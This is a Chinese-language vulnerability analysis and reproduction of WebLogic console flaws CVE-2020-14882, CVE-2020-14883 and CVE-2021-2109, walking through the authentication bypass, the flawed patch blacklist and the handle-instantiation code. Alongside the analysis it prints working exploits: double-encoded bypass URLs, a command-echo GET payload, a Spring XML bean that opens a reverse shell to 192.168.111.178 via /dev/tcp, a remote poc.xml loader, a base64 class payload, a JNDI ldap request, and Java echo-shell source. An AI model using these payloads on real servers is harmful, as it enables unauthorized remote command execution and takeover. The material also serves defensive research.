
CVE-2020-14882 允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883 允许后台任意用户通过 HTTP 协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个 GET 请求在远程 Weblogic 服务器上以未授权的任意用户身份执行命令
影响版本:
- Oracle WebLogic Server 10.3.6.0.0
- Oracle WebLogic Server 12.1.3.0.0
- Oracle WebLogic Server 12.2.1.3.0
- Oracle WebLogic Server 12.2.1.4.0
- Oracle WebLogic Server 14.1.1.0.0
CVE-2020-14882
在正常访问console后台时会提示输入帐号密码

但是可以使用url二次编码/console/images/%252e%252e/console.portal,通过这个就可以实现路径穿越,未授权访问管理后台
但是通过未授权访问的后台与正常登陆的后台相比,由于权限不足,缺少部署等功能,无法安装应用,所以也无法通过部署项目等方式直接获取权限

漏洞分析
该漏洞的触发是在 console 组件,而console对应着webapp服务,配置文件为wlserver/server/lib/consoleapp/webapp/WEB-INF/web.xml
正常登录后会访问一个console.portal,那么在web.xml中看一下相关的路由情况

可以看到对应的servlet为AppManagerServlet

从上面的 web.xml 内容中可以得出:
- MBeanUtilsInitSingleFileServlet是AppManagerServlet的 servlet-class-name 初始化的值
- 访问*.portal会经过AppManagerServlet的分派处理(通过认证后访问console的路径是/console/console.portal)
首先weblogic的请求会经过weblogic.servlet.internal.WebAppServletContext#execute处理,这里会调用securedExecute()

跟进发现调用doSecuredExecute()方法

继续跟进可以看到调用weblogic.servlet.security.internal.WebAppSecurity#checkAccess()进行权限的校验

第一次请求的时候checkAllResources为false,于是调用getConstraint方法

跟进weblogic.servlet.security.internal.WebAppSecurityWLS#getConstraint()

这里会比较我们的relURI是否匹配我们matchMap中的路径,并判断rcForAllMethods和rcForOneMethod是否为null

当访问的路由符合该路由映射表中的情况时,将根据配置设置rcForAllMethods变量,也就是最终返回的resourceConstraint
如果请求的路径在matchMap列表里,那么unrestricted值就为true

return后接着做if判断,resourceConstraint不为null,调用weblogic.servlet.security.internal.SecurityModule#isAuthorized

在该方法中获取用户session,调用weblogic.servlet.security.internal.ChainedSecurityModule#checkAccess方法做进一步权限校验

最后会在weblogic.servlet.security.internal.CertSecurityModule#checkUserPerm中调用weblogic.servlet.security.internal.WebAppSecurity#hasPermission方法

根据最开始生成的ResourceConstraint对象,判断该次http请求是否有权限

如果用户访问的是静态资源,则返回unrestricted的值,hasPermission返回为true,weblogic认为你有权限访问,于是就会放行。如果你访问非静态权限,则直接拦截你的请求,重定向至登陆页
二次编码的原因:发过去的时候http会解一次码,也就是说如果我们传的是/images/%2E%2E%2Fconsole.portal,那么解码后就是/images/../console.portal,这样发到服务端就没办法匹配到静态资源了,直接处理成了/console.portal
漏洞修复
借用师傅的一张图,https://twitter.com/chybeta/status/1322131143034957826
黑名单为:
| 1
 | private static final String[] IllegalUrl = new String[]{";", "%252E%252E", "%2E%2E", "..", "%3C", "%3E", "<", ">"};
 | 

可以看到是使用了黑名单进行过滤,但是过滤的不够完善导致被绕过了。。。
例如:
| 12
 3
 4
 
 | /console/css/%252E./console.portal/console/css/%252e%252e%252fconsole.portal
 /console/css/%25%32%65%25%32%65%25%32%66console.portal
 /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal
 
 | 
参考:
cve-2020-14882 weblogic 越权绕过登录分析
CVE-2020-14882:Weblogic Console 权限绕过深入解析
CVE-2020-14883
漏洞分析
主要的漏洞成因是在com.bea.console.handles.HandleFactory#getHandle类

这里进行反射并实例化,但只能执行该类的一个String类型的参数构造器
漏洞利用
ShellSession
使用的是com.tangosol.coherence.mvel2.sh.ShellSession这个类,但是在10.3.6.0没有这个类,所以只能在更高版本触发
看到他的参数为String的构造函数

这里调用了一次无参构造函数,然后再调用该类的exec方法

最后就是解析命令并执行了
命令执行回显:
| 1
 | GET /console/images/%252e%252e/console.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();') HTTP/1.1
 | 

使用Thread.interrupt()可以中断线程,避免命令被执行多次
FileSystemXmlApplicationContext
利用前提是需要出网
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext这种方法最早在CVE-2019-2725被提出,该方法通用于各版本weblogic

首先我们构造一个恶意的xml文件
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
 <constructor-arg>
 <list>
 <value>/bin/bash</value>
 <value>-c</value>
 <value><![CDATA[/bin/bash -i >& /dev/tcp/192.168.111.178/6666 0>&1]]></value>
 </list>
 </constructor-arg>
 </bean>
 </beans>
 
 | 
然后使用post进行传参
| 12
 3
 
 | POST /console/css/%25%32%65%25%32%65%25%32%66console.portal HTTP/1.1
 _nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.111.178:8000/poc.xml")
 
 | 

还有个类com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext也是同理的
看到了c0ny1的一篇文章:weblogic下spring bean RCE的一些拓展
可以使用factory-method标签调用返回值不为void的有参,静态和非静态方法
给一个回显的payload吧
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 
 | <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd "><bean id="decoder" class="weblogic.utils.encoders.BASE64Decoder"/>
 <bean id="clazzBytes" factory-bean="decoder" factory-method="decodeBuffer">
 <constructor-arg type="java.lang.String" value="yv66vgAAADMApgoADQBFCgBGAEcHAEgKAAMASQoADQBKCgAKAEsIAEwKAAsATQgATgcATwcAUAoACgBRBwBSCAA3CgBTAFQKAAsAVQcAVgoAVwBYCgBXAFkKAFoAWwoAEQBcCABdCgARAF4KABEAXwgAYAcAYQoAGgBiBwBjCgAcAGQKAGUAZgoAZQBnCgAaAGgIAGkKAGoAawgAbAoACgBtCgBuAG8KAG4AcAgAcQcAcgoAKABzBwB0AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA5MV2VibG9naWNFY2hvOwEACDxjbGluaXQ+AQAGcmVzdWx0AQASTGphdmEvbGFuZy9TdHJpbmc7AQADcmVzAQAvTHdlYmxvZ2ljL3NlcnZsZXQvaW50ZXJuYWwvU2VydmxldFJlc3BvbnNlSW1wbDsBAANjbWQBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAANvYmoBABJMamF2YS9sYW5nL09iamVjdDsBAAdhZGFwdGVyAQAbTHdlYmxvZ2ljL3dvcmsvV29ya0FkYXB0ZXI7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAHUHAHIBAApTb3VyY2VGaWxlAQARV2VibG9naWNFY2hvLmphdmEMACsALAcAdgwAdwB4AQAbd2VibG9naWMvd29yay9FeGVjdXRlVGhyZWFkDAB5AHoMAHsAfAwAfQB+AQASU2VydmxldFJlcXVlc3RJbXBsDAB/AIABAAlnZXRIZWFkZXIBAA9qYXZhL2xhbmcvQ2xhc3MBABBqYXZhL2xhbmcvU3RyaW5nDACBAIIBABBqYXZhL2xhbmcvT2JqZWN0BwCDDACEAIUMAIYAhwEAEWphdmEvdXRpbC9TY2FubmVyBwCIDACJAIoMAIsAjAcAjQwAjgCPDAArAJABAAJcQQwAkQCSDACTAH4BAAtnZXRSZXNwb25zZQEALXdlYmxvZ2ljL3NlcnZsZXQvaW50ZXJuYWwvU2VydmxldFJlc3BvbnNlSW1wbAwAlACVAQAjd2VibG9naWMveG1sL3V0aWwvU3RyaW5nSW5wdXRTdHJlYW0MACsAlgcAlwwAmACQDACZACwMAJoAmwEAAAcAnAwAnQCWAQARY29ubmVjdGlvbkhhbmRsZXIMAJ4AnwcAoAwAoQCiDACjAKQBABFnZXRTZXJ2bGV0UmVxdWVzdAEAE2phdmEvbGFuZy9FeGNlcHRpb24MAKUALAEADFdlYmxvZ2ljRWNobwEAGXdlYmxvZ2ljL3dvcmsvV29ya0FkYXB0ZXIBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAOZ2V0Q3VycmVudFdvcmsBAB0oKUx3ZWJsb2dpYy93b3JrL1dvcmtBZGFwdGVyOwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAB2dldE5hbWUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGVuZHNXaXRoAQAVKExqYXZhL2xhbmcvU3RyaW5nOylaAQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAB2lzRW1wdHkBAAMoKVoBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEAFmdldFNlcnZsZXRPdXRwdXRTdHJlYW0BADUoKUx3ZWJsb2dpYy9zZXJ2bGV0L2ludGVybmFsL1NlcnZsZXRPdXRwdXRTdHJlYW1JbXBsOwEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAMXdlYmxvZ2ljL3NlcnZsZXQvaW50ZXJuYWwvU2VydmxldE91dHB1dFN0cmVhbUltcGwBAAt3cml0ZVN0cmVhbQEABWZsdXNoAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAFd3JpdGUBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAPcHJpbnRTdGFja1RyYWNlACEAKgANAAAAAAACAAEAKwAsAAEALQAAAC8AAQABAAAABSq3AAGxAAAAAgAuAAAABgABAAAACAAvAAAADAABAAAABQAwADEAAAAIADIALAABAC0AAAJbAAYABgAAAVi4AALAAAO2AARLKrYABbYABhIHtgAImQCHKrYABRIJBL0AClkDEwALU7YADCoEvQANWQMSDlO2AA/AAAtMK8YAXCu2ABCaAFW7ABFZuAASK7YAE7YAFLcAFRIWtgAXtgAYTSq2AAUSGQO9AAq2AAwqA70ADbYAD8AAGk4ttgAbuwAcWSy3AB22AB4ttgAbtgAfLbYAIBIhtgAipwC1KrYABRIjtgAkTCsEtgAlKyq2ACZNLLYABRInA70ACrYADCwDvQANtgAPTSy2AAUSCQS9AApZAxMAC1O2AAwsBL0ADVkDEg5TtgAPwAALTi3GAGIttgAQmgBbuwARWbgAEi22ABO2ABS3ABUSFrYAF7YAGDoELLYABRIZA70ACrYADCwDvQANtgAPwAAaOgUZBbYAG7sAHFkZBLcAHbYAHhkFtgAbtgAfGQW2ACASIbYAIqcACEsqtgApsQABAAABTwFSACgAAwAuAAAAZgAZAAAACwAKAAwAGQANAD0ADgBIAA8AYgAQAHsAEQCKABIAkQATAJoAFQCdABYApwAXAKwAGACyABkAyAAaAOwAGwD3ABwBEgAdASwAHgE9AB8BRQAgAU8AJQFSACMBUwAkAVcAJgAvAAAAZgAKAGIAOAAzADQAAgB7AB8ANQA2AAMAPQBdADcANAABARIAPQAzADQABAEsACMANQA2AAUApwCoADgAOQABALIAnQA6ADsAAgDsAGMANwA0AAMACgFFADwAPQAAAVMABAA+AD8AAABAAAAAEQAF/ACaBwBBAvoAsUIHAEIEAAEAQwAAAAIARA=="/>
 </bean>
 <bean id="classLoader" class="javax.management.loading.MLet"/>
 <bean id="clazz" factory-bean="classLoader" factory-method="defineClass">
 <constructor-arg type="[B" ref="clazzBytes"/>
 <constructor-arg type="int" value="0"/>
 <constructor-arg type="int" value="2845"/>
 </bean>
 <bean factory-bean="clazz" factory-method="newInstance"/>
 </beans>
 
 | 

可以看到成功回显
漏洞修复

修复方式是判断这个className是否为Handle类的子类
参考:
Weblogic 未授权命令执行分析复现(CVE-2020-14882/14883)
WebLogic one GET request RCE分析(CVE-2020-14882+CVE-2020-14883)
[CVE-2020-14882/14883]WebLogioc console认证绕过+任意代码执行 
https://github.com/jas502n/CVE-2020-14882
CVE-2021-2109
该漏洞主要是JNDI注入,导致攻击者可利用此漏洞远程代码执行
POC:(注意192.168.111;178:1389有个点为分号)
| 12
 3
 
 | POST /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal HTTP/1.1
 _pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle("ldap://192.168.111;178:1389/Basic/WeblogicEcho;AdminServer")
 
 | 

WeblogicEcho代码如下:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 
 | import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;
 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
 import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
 import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
 import weblogic.servlet.internal.ServletResponseImpl;
 import weblogic.work.ExecuteThread;
 import weblogic.work.WorkAdapter;
 import weblogic.xml.util.StringInputStream;
 import java.lang.reflect.Field;
 import java.util.Scanner;
 
 public class WeblogicEchoTemplate extends AbstractTranslet {
 
 public WeblogicEchoTemplate(){
 try{
 WorkAdapter adapter = ((ExecuteThread)Thread.currentThread()).getCurrentWork();
 if(adapter.getClass().getName().endsWith("ServletRequestImpl")){
 String cmd = (String) adapter.getClass().getMethod("getHeader", String.class).invoke(adapter, "cmd");
 if(cmd != null && !cmd.isEmpty()){
 String result = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
 ServletResponseImpl res = (ServletResponseImpl) adapter.getClass().getMethod("getResponse").invoke(adapter);
 res.getServletOutputStream().writeStream(new StringInputStream(result));
 res.getServletOutputStream().flush();
 res.getWriter().write("");
 }
 }else{
 Field field = adapter.getClass().getDeclaredField("connectionHandler");
 field.setAccessible(true);
 Object obj = field.get(adapter);
 obj = obj.getClass().getMethod("getServletRequest").invoke(obj);
 String cmd = (String) obj.getClass().getMethod("getHeader", String.class).invoke(obj, "cmd");
 if(cmd != null && !cmd.isEmpty()){
 String result = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
 ServletResponseImpl res = (ServletResponseImpl) obj.getClass().getMethod("getResponse").invoke(obj);
 res.getServletOutputStream().writeStream(new StringInputStream(result));
 res.getServletOutputStream().flush();
 res.getWriter().write("");
 }
 }
 }catch(Exception e){
 e.printStackTrace();
 }
 }
 
 @Override
 public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
 
 }
 
 @Override
 public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
 
 }
 }
 
 | 
漏洞分析
这个漏洞利用有两个关键类
第一个类是com.bea.console.handles.JndiBindingHandle,他是Handle的子类

可以看到JndiBindingHandle是一些实例化操作,但并没有执行功能
理论上Weblogic Server的console的操作大部分是建立在Action的基础上,所以我们还需要去寻找一个Action,找到/wlserver/server/lib/consoleapp/webapp/consolejndi.portal文件

发现标签 JNDIBindingPageGeneral 指定的路径是 /PortalConfig/jndi/jndibinding.portlet,继续跟进可以找到这次利用的另一个关键的类JNDIBindingAction

看到com.bea.console.actions.jndi.JNDIBindingAction#execute

可以看到 lookup 中的值来源于 bindingHandle.getContext()和bindingHandle.getBinding() ,同时需要serverMBean不为空
跟进到com.bea.console.utils.MBeanUtils#getAnyServerMBean
看到serverMBean是由getDomainMBean().lookupServer(serverName)获取

继续跟进到weblogic.management.configuration.DomainMBeanImpl#lookupServer
想要返回不为空,则需要传给lookupServer的值等于this._Servers中的name,通过获取 this._Servers[0].getName()可以得到这个值为 AdminServer

而context、bindName、serverName的值都是从bindingHandle中获取的,正巧我们可以控制JndiBindingHandle实例化的值(objectIdentifier)

接着来就需要看下objectIdentifier和以上3个值有什么关系了,看一下3个成员变量的get函数,发现他们都和getComponents函数有关

最后看到com.bea.console.handles.HandleImpl#getComponents
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 
 | private String[] getComponents() {if (this.components == null) {
 String serialized = this.getObjectIdentifier();
 ArrayList componentList = new ArrayList();
 StringBuffer currentComponent = new StringBuffer();
 boolean lastWasSpecial = false;
 
 for(int i = 0; i < serialized.length(); ++i) {
 char c = serialized.charAt(i);
 if (lastWasSpecial) {
 if (c == '0') {
 if (currentComponent == null) {
 throw new AssertionError("Handle component already null : '" + serialized + '"');
 }
 
 if (currentComponent.length() > 0) {
 throw new AssertionError("Null handle component preceeded by a character : '" + serialized + "'");
 }
 
 currentComponent = null;
 } else if (c == '\\') {
 if (currentComponent == null) {
 throw new AssertionError("Null handle followed by \\ : '" + serialized + "'");
 }
 
 currentComponent.append('\\');
 } else {
 if (c != ';') {
 throw new AssertionError("\\ in handle followed by a character :'" + serialized + "'");
 }
 
 if (currentComponent == null) {
 throw new AssertionError("Null handle followed by ; : '" + serialized + "'");
 }
 
 currentComponent.append(';');
 }
 
 lastWasSpecial = false;
 } else if (c == '\\') {
 if (currentComponent == null) {
 throw new AssertionError("Null handle followed by \\ : '" + serialized + "'");
 }
 
 lastWasSpecial = true;
 } else if (c == ';') {
 String component = currentComponent != null ? currentComponent.toString() : null;
 componentList.add(component);
 currentComponent = new StringBuffer();
 } else {
 if (currentComponent == null) {
 throw new AssertionError("Null handle followed by  a character : '" + serialized + "'");
 }
 
 currentComponent.append(c);
 }
 }
 
 if (lastWasSpecial) {
 throw new AssertionError("Last character in handle is \\ :'" + serialized + "'");
 }
 
 String component = currentComponent != null ? currentComponent.toString() : null;
 componentList.add(component);
 this.components = (String[])((String[])componentList.toArray(new String[componentList.size()]));
 }
 
 return this.components;
 }
 
 | 
看到通过this.getObjectIdentifier()获取objectIdentifier的值,然后通过分号;分隔开来,并将分割后的数据填入 String 数组。相当于参数全部可控,造成jndi注入
参考:
CVE-2021-2109:Weblogic远程代码执行分析复现
阿里云安全获Oracle官方致谢 |Weblogic Server远程代码执行漏洞预警(CVE-2021-2109) 
WebLogic CVE-2021-2109 JNDI RCE